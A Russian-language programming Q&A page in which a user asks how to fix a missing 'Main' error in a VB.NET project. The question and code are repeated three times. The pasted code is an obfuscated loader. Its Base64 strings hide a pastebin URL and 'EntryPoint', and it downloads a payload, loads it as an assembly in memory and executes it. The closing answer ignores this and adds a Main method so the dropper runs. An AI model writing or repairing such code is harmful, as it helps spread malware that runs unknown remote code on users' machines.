Не найденно доступного метода Main VB.NET? Здравствуйте, подскажите опчему выходит ошибка.
Не найденно доступного метода "Main" с подходящей сигнатурой.
P\S в настройках проекта , убранна галочка "Включить исполняющую среду" и поставлено"Автоматически запускаемый обьект - Sub Main"
Код проектаPublic Class Form1
Protected alfqaar As New Net.WebClient
Protected alfqaar1 As String = alfqaar.DownloadString(FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr"))
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = alfqaar2.load(Convert.FromBase64String(alfqaar1))
Dim mr1 As Object = CallByName(mr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected alfqaar2 As Object = AppDomain.CurrentDomain
Public Function FHIkbYCoMRERHJPNKOGnSiK(ByVal KNvTqPvYXDJQMUZoq As String)
Dim NpqkYisQdtlonBddK As Byte() = Convert.FromBase64String(KNvTqPvYXDJQMUZoq)
Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetString(NpqkYisQdtlonBddK)
Return PTlDHFqJimPORfiSa
End Function
End Class
Подскажите знающие как исправить это?
Не найденно доступного метода Main VB.NET? Здравствуйте, подскажите опчему выходит ошибка.
Не найденно доступного метода "Main" с подходящей сигнатурой.
P\S в настройках проекта , убранна галочка "Включить исполняющую среду" и поставлено"Автоматически запускаемый обьект - Sub Main"
Код проектаPublic Class Form1
Protected alfqaar As New Net.WebClient
Protected alfqaar1 As String = alfqaar.DownloadString(FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr"))
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = alfqaar2.load(Convert.FromBase64String(alfqaar1))
Dim mr1 As Object = CallByName(mr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected alfqaar2 As Object = AppDomain.CurrentDomain
Public Function FHIkbYCoMRERHJPNKOGnSiK(ByVal KNvTqPvYXDJQMUZoq As String)
Dim NpqkYisQdtlonBddK As Byte() = Convert.FromBase64String(KNvTqPvYXDJQMUZoq)
Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetString(NpqkYisQdtlonBddK)
Return PTlDHFqJimPORfiSa
End Function
End Class
Подскажите знающие как исправить это?
Не найденно доступного метода "Main" с подходящей сигнатурой.
P\S в настройках проекта , убранна галочка "Включить исполняющую среду" и поставлено"Автоматически запускаемый обьект - Sub Main"
Код проектаPublic Class Form1
Protected alfqaar As New Net.WebClient
Protected alfqaar1 As String = alfqaar.DownloadString(FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr"))
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = alfqaar2.load(Convert.FromBase64String(alfqaar1))
Dim mr1 As Object = CallByName(mr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected alfqaar2 As Object = AppDomain.CurrentDomain
Public Function FHIkbYCoMRERHJPNKOGnSiK(ByVal KNvTqPvYXDJQMUZoq As String)
Dim NpqkYisQdtlonBddK As Byte() = Convert.FromBase64String(KNvTqPvYXDJQMUZoq)
Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetString(NpqkYisQdtlonBddK)
Return PTlDHFqJimPORfiSa
End Function
End Class
Подскажите знающие как исправить это?
Не можешь разобраться в этой теме?
Обратись за помощью к экспертам
Гарантированные бесплатные доработки
Быстрое выполнение от 2 часов
Проверка работы на плагиат
Интересные статьи из справочника
Поможем написать учебную работу
Отвечай на вопросы, зарабатывай баллы и трать их на призы.
Подробнее
Подробнее
В языке программирования VB.NET в методе Main должен быть определен как Shared Sub, чтобы он мог быть точкой входа в приложение. В вашем коде не определен метод Main. Чтобы исправить это, добавьте следующий код:
Public Class Form1Protected alfqaar As New Net.WebClient
Protected alfqaar1 As String = alfqaar.DownloadString(FHIkbYCoMRERHJPNKOGnSiK("aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2tWZldHSjJr"))
Shared Sub Main()
Dim form As New Form1()
form.ShowDialog()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = alfqaar2.Load(Convert.FromBase64String(alfqaar1))
Dim mr1 As Object = CallByName(mr, FHIkbYCoMRERHJPNKOGnSiK("RW50cnlQb2ludA=="), CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected alfqaar2 As Object = AppDomain.CurrentDomain
Public Function FHIkbYCoMRERHJPNKOGnSiK(ByVal KNvTqPvYXDJQMUZoq As String)
Dim NpqkYisQdtlonBddK As Byte() = Convert.FromBase64String(KNvTqPvYXDJQMUZoq)
Dim PTlDHFqJimPORfiSa As String = System.Text.Encoding.UTF8.GetString(NpqkYisQdtlonBddK)
Return PTlDHFqJimPORfiSa
End Function
End Class
После добавления метода Main, программа должна запускаться без ошибок.